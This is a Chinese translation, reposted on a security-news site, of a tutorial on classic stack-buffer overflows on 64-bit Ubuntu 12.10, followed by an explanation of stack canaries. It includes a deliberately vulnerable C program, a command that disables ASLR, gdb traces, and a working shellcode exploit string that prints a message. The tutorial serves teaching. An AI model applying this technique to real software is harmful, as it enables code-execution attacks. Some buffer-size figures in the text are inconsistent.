现代Linux操作系统的栈溢出(上)


发布人:admin分类:网络安全浏览量:25发布时间:2017-12-12

译者注:本文源自《[细节剖析]X Windows中一个22年的漏洞》中提到的一篇文章,即如何溢出有保护机制的linux,路径如下:http://www.exploit-db.com/papers/24085/,本着学习的目的,在学习过程中,翻译出来分享给大家。

另外为了区分Stack和Heap,在本人的所有文章中

“Stack”与“栈”对等

“Heap”与“堆”对等

因为曾经被人坑惨了,有些文章中把“Stack”翻译成“堆栈”,搞得我着实的晕了好久。

前提条件:

对C语言和x86_64有基本的了解。

1. 概述

    本文主要向读者展示栈溢出的基础知识并解释目前现代的Linux发型版本的保护机制。基于上述原因,本文选择了最新的Ubuntu(12.10)作为目标机,因为它集成了很多默认的安全机制,并且它很流行易于安装和使用。平台采用的是x86_64。

通过本文读者可以学到在老版本的操作系统上,没有安装保护机制下,栈溢出是如何进行漏洞利用的。本文也将介绍在最新版的Ubuntu(12.10)中,个人保护机制的详情,并且会用一个例子来说明这些机制并不能够阻止栈溢出。溢出栈上的数据结构,从而可以控制程序运行。

    虽然现今的漏洞利用方法已经不像过去那样经典的栈溢出方法了,事实上它更像是堆溢出或者是字符串格式化漏洞方法。虽然栈保护(Stack Smashing Protection)被用来阻止栈溢出,但是栈溢出还是会发生的。如果现在本文还未打动你,不用担心,我会在下面介绍更为详细的内容。

2 系统详细信息

有关不同版本的Ubuntu系统采用的默认安全机制情况请参考如下链接:

https://wiki.ubuntu.com/Security/Features

$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gcc
Linux 3.5.0-19-generic x86_64
DISTRIB_DESCRIPTION="Ubuntu 12.10"
gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2

3. 经典栈溢出

    让我们回到过去,生活轻松,栈帧在哪里等着被破坏。在栈上不正确的使用数据拷贝方法很容易导致程序被控制。这种情况没有多少保护机制存在的,例子如下所示:

$ cat oldskool.c
 
#include <string.h>
void go(char *data)
{
    char name[64];
    strcpy(name, data);
}
 
int main(int argc, char **argv)
{
    go(argv[1]);
}

在测试之前,你需要在系统范围禁用ASLR,你可以按如下步骤来实现:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout

在早期的操作系统中这一保护机制并不存在。因此为了展示这一历史上的例子需要将保护机制禁掉。如果想禁掉其他保护机制,你可以按如下方式编译程序。

$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

    看上面的代码,我们发现在栈上有一个64个字节长度的缓冲区,并且第一个命令行参数已经拷贝到这一缓冲区。程序并没有检查参数长度是否大于64个字节,从而允许strcpy函数继续拷贝数据从而超过64个字节长度,进而将数据覆盖到64个字节相邻的栈存储区。这就是栈溢出。

    现在为了获取程序的控制权,我们需要利用如下这一技术原理,在调用一个函数前,C程序会将该函数执行完成后下一个将要执行的指令地址压入栈中。()。我们管这个地址叫做返回地址或者是保存的指令指针(Saved Instruction Pointer)。在我们的例子中,保存的指令指针(该指令指针应该是在go函数执行后被执行)保存在紧挨着我们的name[64]数组,为什么会这样,主要是由栈的工作机制决定的。因此,如果用户可以用别的地址(通过命令行参数提供)覆盖这一地址,程序就会开始在此地址处执行。攻击者可以通过拷贝机器码格式的指令到缓冲区中,然后将返回地址指向这些指令,从而实现对程序的劫持。当程序执行完子函数,程序将继续执行攻击者提供的指令。此时攻击者可以让程序做任何事情,无论是为了乐趣还是为了金钱。

闲话少说,让我来给你展示一下,如果你对下面的命令不了解,你可以通过此连接来学习如何使用gdb。

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040053d <+0>:               push   %rbp
   0x000000000040053e <+1>:               mov    %rsp,%rbp
   0x0000000000400541 <+4>:               sub    $0x10,%rsp
   0x0000000000400545 <+8>:               mov    %edi,-0x4(%rbp)
   0x0000000000400548 <+11>:             mov    %rsi,-0x10(%rbp)
   0x000000000040054c <+15>:             mov    -0x10(%rbp),%rax
   0x0000000000400550 <+19>:             add    $0x8,%rax
   0x0000000000400554 <+23>:             mov    (%rax),%rax
   0x0000000000400557 <+26>:             mov    %rax,%rdi
   0x000000000040055a <+29>:             callq  0x40051c
   0x000000000040055f <+34>:              leaveq
   0x0000000000400560 <+35>:             retq
End of assembler dump.
(gdb) break *0x40055a
Breakpoint 1 at 0x40055a: file oldskool.c, line 11.
(gdb) run myname
Starting program: /home/me/.hax/vuln/oldskool myname
 
Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)
11                go(argv[1]);
(gdb) x/i $rip
=> 0x40055a :          callq  0x40051c
(gdb) i r rsp
rsp            0x7fffffffe0d0               0x7fffffffe0d0
(gdb) si
go (data=0xc2 ) at oldskool.c:4
4              void go(char *data) {
(gdb) i r rsp
rsp            0x7fffffffe0c8               0x7fffffffe0c8
(gdb) x/gx $rsp
0x7fffffffe0c8:         0x000000000040055f

    我们在调用go函数前打断点,位置为0x000000000040055a <+29>,然后我们运行程序,启动参数为“myname”,在调用go函数前程序暂停了。我们执行一个指令(si)然后查看栈顶指针(rsp),它现在指向的地址包含了callq函数执行完成后的地址0x000000000040055f <+34>,这一地址就是前文所述的返回地址。

    如下展示的是go函数的情况,它会执行“retq”指令,该指令会将该指针出栈,然后执行该指针指向的地址。

(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>:               push   %rbp
   0x000000000040051d <+1>:               mov    %rsp,%rbp
   0x0000000000400520 <+4>:               sub    $0x50,%rsp
   0x0000000000400524 <+8>:               mov    %rdi,-0x48(%rbp)
   0x0000000000400528 <+12>:             mov    -0x48(%rbp),%rdx
   0x000000000040052c <+16>:             lea    -0x40(%rbp),%rax
   0x0000000000400530 <+20>:             mov    %rdx,%rsi
   0x0000000000400533 <+23>:             mov    %rax,%rdi
   0x0000000000400536 <+26>:             callq  0x4003f0
   0x000000000040053b <+31>:             leaveq
   0x000000000040053c <+32>:             retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.
 
Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8              }
(gdb) x/i $rip
=> 0x40053c :          retq
(gdb) x/gx $rsp
0x7fffffffe0c8:         0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12            }
(gdb) x/gx $rsp
0x7fffffffe0d0:         0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f :          leaveq
(gdb) quit

    我们在go函数返回前设置了断点。程序会在执行“retq”指令前暂停下来。我们可以看到栈指针(rsp)会指向main函数中调用go函数完成后的地址。“retq”指令执行后,我们可以发现,程序将返回地址出栈,然后跳转到这一地址执行。现在我们覆盖这一地址,使用perl编程来提供超过32个字节长度的数据。

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x48'`
 
Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12            }
(gdb) x/i $rip
=> 0x40059c :          retq
(gdb) x/gx $rsp
0x7fffffffe0a8:         0x4141414141414141

    我们用perl输出的字符串“AAAA…”共计80个,然后将这一字符串作为参数来启动我们的样例程序。可以看到,当他执行go函数中的“retq”指令时,程序崩溃了,因为这一返回地址被我们用字符“A”(0×41)覆盖了。注意,我们写入的是80个字节(64+8+8),因为在64位机上,指针的长度是8个字节。同时实际上在我们的name缓存和保存的指令指针之间还保存了另外一个指针。

    现在我们可以将执行路径重定向到我们期望的任何位置。我们该如何通过此方式使程序执行我们的指令?如果将我们的机器码指令放在name[]缓冲区中然后,用此缓冲区的地址来重写返回地址,那么当当程序执行完go函数,就会继续执行我们的指令(shellcode)。因此我们需要创建一个shellcode并且我们需要知道name[]缓冲区的地址,因为我们需要用这个地址值来重写返回地址。我不会创建真正的shellcode,因为这有点超出了本指南的范围,但是我会用向屏幕上显示一行消息来表示我们的shellcode。可以采用如下方法来确定name[]缓冲区的地址。

(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0

    我们可以利用perl通过转义的方式(”\x41”)将不可打印的字符打印到命令行。此外,由于机器采用小端字节序来保存整数和指针,因此我们需要将我们的字节序调整到小端字节序。综上,我们需要写入到返回地址的内容为:

"\xa0\xe0\xff\xff\xff\x7f"

如下为shellcode,他将会向屏幕上输出我们的消息,然后退出。

"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"

    注意上述仅仅是机器码的格式,他们可以被perl打印输出。因为上述shellcode是45个字节长度,但是我们要覆盖SIP的话,需要先提供一个72个字节长度的数据,因此我们需要追加27个字节的数据作为填充。因此最终的字符串可以像如下这样。

"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"

    当go函数执行完成后,程序会跳转到0x7fffffffe0a0处,这个地址是name[]缓冲区的开始位置,已经填充了我们的机器码。它会执行我们的机器码来输出我们的消息,然后退出程序。让我们来试一下(注意,执行时删除所有的换行符。)

$ ./oldskool `perl -e ` print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"&#039;`
Hax!$

4. 保护机制

    欢迎回到2012(译注:本文写于2012年,现在应该说欢迎回到2014)。上述样例不在有效工作了,在我们的ubuntu系统中,这有很多不同的保护机制,而这种类型的漏洞甚至不再以这种形式存在了。栈上的溢出仍然可以发生,仍然有利用他们的方法。这就是在本节中我要介绍给你的,首先来看一下不同的保护方案。

[4.1 栈溢出保护]

    在上面的例子中,我们使用了-fno-stack-protector标志来告诉gcc我们不想一栈溢出保护机制进行编译。如果我们不指定这一标志,会发生什么?请注意,这种情况下ASLR重新开启了,一切都被设置为默认值。

$ gcc oldskool.c -o oldskool -g

让我们用gdb看一眼二进制代码,看看发生了什么?

$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
   0x000000000040058c <+0>:               push   %rbp
   0x000000000040058d <+1>:               mov    %rsp,%rbp
   0x0000000000400590 <+4>:               sub    $0x60,%rsp
   0x0000000000400594 <+8>:               mov    %rdi,-0x58(%rbp)
   0x0000000000400598 <+12>:             mov    %fs:0x28,%rax
   0x00000000004005a1 <+21>:             mov    %rax,-0x8(%rbp)
   0x00000000004005a5 <+25>:             xor    %eax,%eax
   0x00000000004005a7 <+27>:             mov    -0x58(%rbp),%rdx
   0x00000000004005ab <+31>:             lea    -0x50(%rbp),%rax
   0x00000000004005af <+35>:              mov    %rdx,%rsi
   0x00000000004005b2 <+38>:             mov    %rax,%rdi
   0x00000000004005b5 <+41>:             callq  0x400450
   0x00000000004005ba <+46>:             mov    -0x8(%rbp),%rax
   0x00000000004005be <+50>:             xor    %fs:0x28,%rax
   0x00000000004005c7 <+59>:             je     0x4005ce
   0x00000000004005c9 <+61>:             callq  0x400460 <__stack_chk_fail@plt>
   0x00000000004005ce <+66>:             leaveq
   0x00000000004005cf <+67>:              retq
End of assembler dump.

如果我们看一下go函数的<+12>和<+21>的反编译代码,我们发现数据来自$fs+0×28或者%fs:0×28处。这一地址真正的指向位置并不重要,现在我要说明的是fs指向了由内核维护的结构,而且我们无法通过gdb来查看fs的值。对我们来说更重要的是,这个位置存储了一个我们不可预测的随机值,如下所示,可见用gdb单步运行两次输出的fs值不相同。

(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
 
Breakpoint 1, go (data=0x0) at oldskool.c:4
4              void go(char *data) {
(gdb) x/i $rip
=> 0x400598 :          mov    %fs:0x28,%rax
(gdb) si
0x00000000004005a1               4              void go(char *data) {
(gdb) i r rax
rax            0x110279462f20d000     1225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/me/.hax/vuln/oldskool
 
Breakpoint 1, go (data=0x0) at oldskool.c:4
4              void go(char *data) {
(gdb) si
0x00000000004005a1               4              void go(char *data) {
(gdb) i r rax
rax            0x21f95d1abb2a0800     2448090241843202048

    我们在将$fs+0×28的数据项rax中赋值前打断点,然后执行,查看rax的值,然后再重复执行一次,就能发现两次运行时rax中值得不同。从而说明,fs中的数据值在每次运行中都是不同的,意味着攻击者不能准确的预测它。那么这个值是如何用来保护栈的呢?通过go函数中反汇编代码<+21>可以发现数值被拷贝到了栈上,位于-0×8(%rbp)上。我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。(译注:有关金丝雀和矿工,请参考此链接http://blog.sina.com.cn/s/blog_562a622e0100x6t8.html)。与上述情况类似,当栈溢出发生时,金丝雀值将在已保存的指令指针被重写前先挂掉。如果我们看一眼go函数的<46>和<50>行汇编代码,我们看到会从栈中读那个值与原有值比较,如果这两个值一致,金丝雀(canary)没有被修改,从而认为保存的指令指针也没有被修改,进而允许函数正常的返回。如果金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会做些魔术,然后丢出一个错误退出进程。如下所示:

$ ./oldskool `perl -e &#039;print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)

    回顾上面,缓冲区溢出了,而且数据覆盖了金丝雀值(canary)和保存的指令指针。然而,在覆盖SIP之前,程序发现金丝雀(canary)值被篡改了,然后就安全的退出了。现在,坏消息是在这种情况下,攻击者没有什么好的方法。你可能会想到暴力破解金丝雀(canar)的值,但是在这种情况下,金丝雀的值在每次程序运行时都是不同的,只有极端幸运的时候才能猜中金丝雀的值。那样会花费些时间,而且并不隐蔽。好消息是,在很多情况下,上述保护机制并不足以阻止漏洞利用。例如,栈中的金丝雀仅仅用来保护SIP,但并未保护应用变量,这会导致另外一种可利用条件,后面会展示。oldskool程序的溢出方法在这种保护机制前,已经不再有效了。


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21395665(PV) 页面执行时间:103.507(MS)
  • xml
  • 网站地图